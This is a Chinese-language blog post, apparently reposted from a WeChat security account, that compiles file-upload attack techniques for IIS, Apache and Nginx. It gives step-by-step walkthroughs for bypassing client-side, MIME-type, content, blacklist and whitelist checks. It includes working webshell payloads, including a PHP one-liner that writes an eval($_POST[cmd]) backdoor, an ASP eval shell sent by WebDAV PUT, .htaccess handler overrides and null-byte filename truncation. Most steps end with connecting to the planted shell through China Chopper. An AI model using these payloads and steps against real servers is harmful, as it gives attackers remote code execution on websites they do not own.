前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >文件上传漏洞超级大汇总-第一篇

文件上传漏洞超级大汇总-第一篇

作者头像
用户1467662
发布2018-03-30 11:02:44
2.3K0
发布2018-03-30 11:02:44
举报
文章被收录于专栏:农夫安全农夫安全

先上图,由于太大复制麻烦我分两次贡献出来吧。废话不多说了,直接上正文

1、IIS解析漏洞

1、目录解析(IIS6.0):建立*.asa 、*.asp格式的文件夹时,其目录下的文件都被当做IIS当做

ASP文件来解析(*.asp/1.jpg目录解析)

其中88.asp下的88.jpg文件会当成asp解析

1、文件解析(IIS6.0):当文件为*.asp;1.jpg文件名畸形解析 ,IIS6.0一样把文件当成asp解析

原理:分号后面的不解析。

还有IIS6.0 默认的可执行文件除了asp还包含这三种:

/aspdama.asa

/aspdama.cer

/aspdama.cdx

二、IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞: Nginx解析漏洞这个伟大的漏洞是我国安全组织发现的。 在默认Fast-CGI开启状况下,黑阔上传一个名字为aspdama.jpg,内容为:

<?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

的文件,然后访问aspdama.jpg/.php,在这个目录下就会生成一句话木马 shell.php

三、Nginx <8.03 空字节代码执行漏洞: 影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37 Nginx在图片中嵌入PHP代码然后通过访问

phpmuma.jpg%00.php

来执行其中的代码! 四、Apache解析漏洞: Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断. 比如 phpmuma.php.owf.rar “.owf”和”.rar”这两种后缀是apache不可识别解析,apache就会把phpmuma.php.owf.rar解析成php. 如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个phpmuma.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀! 五、其他 在windows环境下,dama.jpg[空格] 或dama.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单,若上传成功,空格和点都会被windows自动消除,这样也可以getshell。 如果在Apache中、htaccess可被执行、且可被上传、那可以尝试在、htaccess中写入:

<FilesMatch "phpmuma.jpg">SetHandler application/x-httpd-php </FilesMatch>

然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件。

webDAV:一种基于HTTP1.1的通信协议,配合HTTP不安全方法

可以上传webshell

步骤一抓包上传

PUT /a.txt HTTP/1.1

HOST:

<%eval request (“mima”%)>

步骤二复制文件到指定文件夹(或者直接用move将a.txt修改成shell.asp)

COPY /a.txt HTTP 1.1

HOST:

Destination:http://www.baidu.com/cmd/cmd.asp

例子: IIS扩展名解析漏洞

l 上传yijuhua.php,拦截数据包

l 在文件目录处uploadimg改为uploadimg/1.php;

l Yijuhua.php后缀名改为yijuhua.jpg

例子: IIS目录路径解析

l 将yijuhua.asp后缀名修改为yijuhua.jpg上传

l 上传时拦截数据包

l 在文件目录处uploadimg改为uploadimg/1.asp/

2、Apache解析漏洞

原理:

解析的时候碰到不认识的扩展名,会一直向前解析,知道碰到认识的扩展名

,如果都不认识,则会暴漏源代码

例如

1.php.xx.Yy.bb,他会一直解析到认识的php为止,

2.rar.bb.cc,若都不认识,会解析源代码。

例子:Apache扩展名解析漏洞

打开站点,将x.php后缀名修改为x.php.7z,上传x.php.7z,

上传成功,上传成功后使用中国菜刀进行连接

3、PHP CGI解析漏洞

Nginx上的漏洞

例子:

http://www.baidu.com/1.jgp/2.php

2.php文件是不存在的,1.jpg会当成php代码解析

例子:nginx解析漏洞

l 打开站点,将dama.php(大马)后缀名修改为x.jpg,上传x.jpg,上传成功

l 打开dama.jpg链接(在x.jpg后面加./php)

l 如,http://10.10.10.135:82/nginxjiexi/uploadimg/x.jpg/.php

4、绕过客户端检测

例子:

打开burpsuit,开启代理服务器,再打开站点,拦截数据包(修改本地的JavaScript)

l if(str != ".jpg" && str != ".jpeg"&&str != ".JPG" && str != ".JPEG" )修改为:

l if(str != ".jpg" && str != ".jpeg"&&str != ".JPG" && str !=".JPEG"&&str!=”.php” ),forward

l 上传yijuhua.php,上传成功

l 用中国菜刀连接yijuhua.php,查看实验现象

5、绕过MIME文件类型检测

打开站点,打开burpsuit,开启服务器代理,上传yijuhua.php,拦截数据包将MIME类型:Content-Type: application/octet-stream修改为Content-Type: image/pjpeg,上传成功,使用中国菜刀连接

上传yijuhua.php,拦截数据包:

6、绕过文件内容检测

例子:

打开站点,打开burpsuit,开启服务器代理,上传1.jpg照片,拦截数据包,在数据包中1.jpg修改为1.php,在图片数据的末尾空几个空格粘贴一句话木马的内容,上传,上传成功后使用中国菜刀进行连接

8、黑名单绕过

例子:IIS黑名单绕过

l 将yijuhua.php后缀名改为yijuhua.PHP(文件重命名就可以),上传到站点,上传成功,用中国菜刀连接yijuhua.PHP

l 将xx.asa上传至站点,上传成功,打开xx.asa所在链接写入一句话木马,用中国菜刀进行连接

例子:Apache黑名单绕过

l 将dama.php后缀名改为dama.phP,上传到站点,上传成功后访问木马所在的链接或使用中国菜刀进行连接

l 上传yijuhua.php时使用burpSuite进行抓包,将yijuhua.php后缀名后面加上空格,或者改成php3、上传到站点,上传成功,使用中国菜刀进行连接

9、白名单绕过

例子:截断目录路径(IIS)

l 将uploadfiles/修改为uploadfiles/1.php .jpg(php后有空格),filename处yijuhua.php后缀名修改为yijuhua.jpg

l 在buirpsuit的row一栏中,修改空格20(1.php .jpg中的空格)的值改为00.(大概在30行左右)后上传

l 修改完后可以看到UploadFiles/1.php .jpg变为

l 上传后使用中国菜刀进行连接

例子: 截断扩展名(IIS)

l 将yijuhua.php后缀名修改为yijuhua.jpg,上传,拦截数据包

l 在filename处的yijuhua.jpg修改为yijuhua.php (空格).jpg

l 在buirpsuit的row一栏中,修改空格20的值为00(大概在30行左右)

l 修改完可以看到yijuhua.php .jpg变为,上传成功后用中国菜刀进行连接

例子:只能上床.DOC的文件

用明小子的动力上传

提交的地址:是打开页面的地址,不是referer字段里的地址

10、其他方法绕过

例子:利用.htaccess绕过

l 打开站点,上传.htaccess文件,上传成功

l 将dama.php后缀名修改为dama.jpg,上传,上传成功

l 打开dama.jpg所在链接

例子: 双文件上传漏洞

l 打开burpsuir,开启服务器代理,再打开站点拦截数据包

<formaction="Upfile_B.asp" method="post" name="form1"onSubmit="return check()" enctype="multipart/form-data">

<inputname="FileName" type="FILE"size="30">

<inputtype="submit" name="Submit" value="上传"style="border:1px double rgb(88,88,88);font:9pt">

<inputname="PhotoUrlID" type="hidden" id="PhotoUrlID"value="6">

加一行文件名按钮,name标签不一致

<input name="FileName2"type="FILE" size="30">

修改后

<formaction="Upfile_B.asp" method="post" name="form1"onSubmit="return check()" enctype="multipart/form-data">

<input name="FileName" type="FILE"class="tx1" size="30">

<inputname="FileName2" type="FILE"size="30">

<inputtype="submit" name="Submit" value="上传"style="border:1px double rgb(88,88,88);font:9pt">

<inputname="PhotoUrlID" type="hidden" id="PhotoUrlID"value="6">

l 上传,第一个文件上传图片,第二个文件上传一句话木马,上传成功

l 用中国菜刀连接第二个文件一句话木马

l 通过源代码可以查看到上传的地址

11、IIS可PUT上传

主要是webDav没有做过滤,允许一些不安全的HTTP方法

密码是888,

总结

还有部分下次发

没啥好总结的,放在电脑里好久的文档了,发出来贡献给大家,发出来希望能让大家有所收获,当然如果你愿意帮忙补齐是更好不过了

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-09-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全社区悦信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、IIS解析漏洞
  • 2、Apache解析漏洞
  • 3、PHP CGI解析漏洞
  • 4、绕过客户端检测
  • 5、绕过MIME文件类型检测
  • 6、绕过文件内容检测
  • 8、黑名单绕过
  • 9、白名单绕过
  • 10、其他方法绕过
  • 11、IIS可PUT上传
  • 总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档